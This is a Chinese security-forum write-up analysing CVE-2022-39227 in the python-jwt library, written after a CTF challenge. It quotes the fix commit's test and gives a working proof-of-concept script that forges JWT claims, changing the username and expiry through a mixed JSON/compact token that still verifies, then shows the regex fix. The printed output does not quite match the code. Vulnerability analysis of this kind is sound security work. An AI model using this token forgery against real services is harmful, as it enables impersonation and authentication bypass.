问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2022-39227漏洞分析
CTF
漏洞分析
前两天打祥云杯初赛的时候有一道很有意思的web题,其中涉及到了jwt伪造相关知识,多方查询找到了一个pyjwt包的CVE,编号为CVE-2022-39227,不过并没有详细的POC,所以就来自己分析一下这个漏洞
0x00 起因 ======= 前两天打祥云杯初赛的时候有一道很有意思的web题,**FunWEB**,其中涉及到了jwt伪造相关知识,多方查询找到了一个pyjwt包的CVE,编号为CVE-2022-39227,不过并没有详细的POC,但是有关于源码的修改内容,我们直接跟入github中的相关[commit](https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9) 0x01 分析 ======= 先跳过对漏洞的修补部分,直接看最下面,在test中新增加了一个对这个CVE的测试内容,我们来看一下 ```python #test/vulnerability_vows.py """ Test claim forgery vulnerability fix """ from datetime import timedelta from json import loads, dumps from test.common import generated_keys from test import python_jwt as jwt from pyvows import Vows, expect from jwcrypto.common import base64url_decode, base64url_encode @Vows.batch class ForgedClaims(Vows.Context): """ Check we get an error when payload is forged using mix of compact and JSON formats """ def topic(self): """ Generate token """ payload = {'sub': 'alice'} return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)) class PolyglotToken(Vows.Context): """ Make a forged token """ def topic(self, topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) parsed_payload['sub'] = 'bob' parsed_payload['exp'] = 2000000000 fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' +signature + '"}' class Verify(Vows.Context): """ Check the forged token fails to verify """ @Vows.capture_error def topic(self, topic): """ Verify the forged token """ return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256']) def token_should_not_verify(self, r): """ Check the token doesn't verify due to mixed format being detected """ expect(r).to_be_an_error() expect(str(r)).to_equal('invalid JWT format') ``` 其实别的我们可以直接忽略,直接看`PolyglotToken`部分,里面就是fakeJWT的构造代码,可以看到其中先将原始的JWT拆分为`[header, payload, signature]`三部分,然后将payload也就是原始存储信息的部分取了出来,然后添加伪造内容后重新进行base64编码(`separators=(',', ':')`这部分相当于移除了直接编码时会添加的空格)生成了fakepayload,并且最终按如下形式构造生成新的JWT(其实此时已经不能说是JWT了,因为生成的字符串已经完全没有JWT的影子在了) > {" **header**.**fake\_payload**.":"","protected":"**header**", "payload":"**payload**","signature":"**signature**"} 其实相比较这个我更好奇的是为什么会有这样的漏洞,我们先用含有漏洞的包尝试生成一个JWT并使用fakepayload解析 ```python #testFakeJWT.py from json import * from python_jwt import * from jwcrypto import jwk payload={'username':"jlan","secret":"10010"} key=jwk.JWK.generate(kty='RSA', size=2048) jwtjson=generate_jwt(payload, key, 'PS256', timedelta(minutes=60)) [header, payload, signature] = jwtjson.split('.') parsed_payload = loads(base64url_decode(payload)) print(parsed_payload) parsed_payload['username']="admin" parsed_payload['secret']="10086" fakepayload=base64url_encode((dumps(parsed_payload, separators=(',', ':')))) fakejwt='{"' + header + '.' + fakepayload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' print(verify_jwt(fakejwt, key, ['PS256'])) #{'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10010', 'username': 'jlan'} #({'alg': 'PS256', 'typ': 'JWT'}, {'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10086', 'username': 'root'}) #进程已结束,退出代码0 #可以看到我们的结果确实被解析了 ``` 可以看到我们的结果确实被解析了,那么我们使用fakeJWT跟入看看verify过程到底做了什么 0x02 验证 ======= ![](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-fdb235968628ef5d79a0bdd06ffbf59c94109b46.png) 可以看到首先把JWT按照.来分割,并分别存入`header, claims, _`变量中,然后对header部分进行base64解码,此处解码会忽略掉非base64字符,并且对属性进行逐个验证(在`ignore_not_implemented`参数为空或False的前提下) 再向下看到`if pub_key:`部分,如果我们传入了密钥就会对JWT签名进行解析,我们直接跟入`token.deserialize(jwt, pub_key)`来看验证过程 ![](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-0c24032e30e790ca10e69f3a2abe0a9dac9416ee.png) 可以看到首先对原始传入的JWT尝试进行json解析,然后再对其进行签名验证,其中`_deserialize_signature`将签名解析后取出,`_deserialize_b64`验证内容需不需要再进行base64解码 总之在这个函数前面部分的内容就是将json格式的数据进行解码,并将JWT所需要的对应属性赋给o这个对象,**在我们构造的json中,o的所有属性都是来自原始正常JWT的**,在完成解析后,`self.objects`将会被赋值为o,最后进入`verify`函数 ![](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-8027b2e50199dd0d87d39f65d7afc7c730630481.png) 可以看到在验证时所使用的所有数据都来自于原始的正常JWT,所以验证必定通过,那么下一步我们就来看解析的部分 0x03 解析 ======= 其实没什么可说的,因为解析只有一句代码 ```python #header, claims, _ = jwt.split('.') parsed_claims = json_decode(base64url_decode(claims)) ``` 上文可见我们传入的json先以字符串的格式按点分割,第二部分为我们的fakepayload部分,我们只需要把原始payload取出进行修改即可 0x04 总结 ======= 明显我们能看出这个漏洞的产生是因为解析payload内容和验证签名的payload内容不一致造成的,而在后续的修复部分中,也针对JWT的内容进行了正则匹配,来防止json格式的注入 ```python _jwt_re = re.compile(r'^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]*$') def _check_jwt_format(jwt): if not _jwt_re.match(jwt): raise _JWTError('invalid JWT format') ``` 引用内容:<https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9>
发表于 2022-11-11 09:00:01
阅读 ( 6905 )
分类:
漏洞分析
3 推荐
收藏
0 条评论
请先
登录
后评论
BenBenben
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!